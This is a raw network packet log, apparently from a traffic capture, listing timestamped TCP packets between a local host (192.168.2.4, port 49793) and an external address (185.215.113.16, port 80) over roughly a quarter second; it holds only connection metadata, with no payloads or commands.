Dec 20, 2024 11:12:23.731760025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.731811047 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.731852055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.731901884 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.732907057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.732959986 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.732996941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.733042002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.734101057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.734162092 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.734205961 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.734252930 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.735187054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.735235929 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.735301971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.735356092 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.736306906 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.736356020 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.736399889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.736445904 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.737497091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.737545967 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.737610102 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.737656116 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.738640070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.738689899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.738771915 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.738823891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.739720106 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.739772081 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.740143061 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.740206003 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.740843058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.740888119 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.741139889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.741189003 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.741997957 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.742047071 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.742126942 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.742172956 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.743132114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.743182898 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.743252993 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.743299007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.744293928 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.744340897 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.744410038 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.744457006 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.745392084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.745438099 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.745520115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.745568037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.746534109 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.746577978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.746634007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.746682882 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.747657061 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.747709036 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.747773886 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.747821093 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.748816967 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.748867035 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.749025106 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.749073029 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.749903917 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.749952078 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.750085115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.750134945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.751064062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.751111984 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.751177073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.751223087 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.752198935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.752248049 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.752317905 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.752365112 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.753369093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.753421068 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.753592014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.753638983 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.754468918 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.754522085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.754587889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.754635096 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.755600929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.755650043 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.755738020 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.755781889 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.756732941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.756784916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.756854057 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.756900072 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.757883072 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.757931948 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.757997036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.758043051 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.759037018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.759084940 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.759150028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.759197950 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.760158062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.760207891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.760212898 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.760261059 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.761296988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.761343956 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.761420965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.761466980 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.762417078 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.762465000 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.762532949 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.762581110 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.763561010 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.763612032 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.763777971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.763827085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.764674902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.764725924 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.764794111 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.764848948 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.765834093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.765882969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.765930891 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.765975952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.767034054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.767081976 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.767127037 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.767168999 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.768080950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.768126011 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.768135071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.768182993 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.769268036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.769319057 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.769387960 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.769434929 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.770363092 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.770414114 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.770482063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.770525932 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.771610975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.771660089 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.771743059 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.771789074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.772610903 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.772659063 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.772727966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.772773981 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.773772955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.773818970 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.773890018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.773942947 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.774898052 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.774949074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.774951935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.774990082 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.776042938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.776091099 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.776139021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.776186943 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.777175903 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.777223110 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.777250051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.777328014 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.778316021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.778363943 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.778433084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.778482914 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.779499054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.779552937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.779553890 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.779597998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.780613899 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.780651093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.780661106 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.780689955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.781727076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.781773090 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.781846046 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.781893969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.782881021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.782928944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.782996893 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.783041954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.783987999 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.784037113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.784445047 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.784492970 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.785089016 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.785141945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.785228014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.785291910 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.786273956 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.786324978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.786379099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.786422014 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.787396908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.787431955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.787446022 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.787467003 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.920941114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.920986891 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.921109915 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.921333075 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.921472073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.921525955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.922449112 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.922653913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.922703981 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.923615932 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.923659086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.923741102 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.924745083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.924781084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.924798965 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.924823999 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.925841093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.925992966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.926050901 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.927002907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.927124977 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.927186012 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.928180933 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.928275108 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.928334951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.929272890 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.929333925 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.929399967 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.929979086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.930397034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.930512905 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.930566072 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.931586981 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.931767941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.931826115 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.932670116 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.932790995 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.932842016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.933809042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.933861017 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.933911085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.934923887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.935039997 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.935096979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.936100960 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.936151981 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.936178923 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.937258005 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.937310934 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.937314987 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.937665939 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.938344955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.938386917 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.938508034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.938563108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.939512968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.939563036 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.939605951 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.939657927 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.940630913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.940680027 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.940731049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.940785885 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.941732883 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.941782951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.941862106 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.941907883 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.942904949 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.942950964 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.943077087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.943123102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.944027901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.944075108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.944148064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.944192886 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.945137024 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.945183039 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.945247889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.945291996 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.946296930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.946340084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.946419954 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.946469069 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.947767019 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.947823048 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.947916985 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.947958946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.948580980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.948625088 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.948688030 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.948733091 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.949692965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.949738026 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.949801922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.949856043 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.950856924 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.950903893 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.950968027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.951011896 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.952028990 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.952075958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.952081919 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.952125072 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.953118086 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.953159094 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.953387976 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.953433990 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.954240084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.954286098 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.954353094 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.954421997 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.955378056 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.955425024 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.955504894 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.955554008 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.956502914 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.956548929 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.956614971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.956660986 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.957664013 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.957712889 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.957776070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.957823038 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.958790064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.958838940 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.958905935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.958950996 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.959927082 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.959975958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.960047007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.960093975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.961055040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.961102009 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.961149931 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.961196899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.962261915 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.962315083 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.962315083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.962357998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.963356018 CET	80	49793	185.215.113.16	192.168.2.4
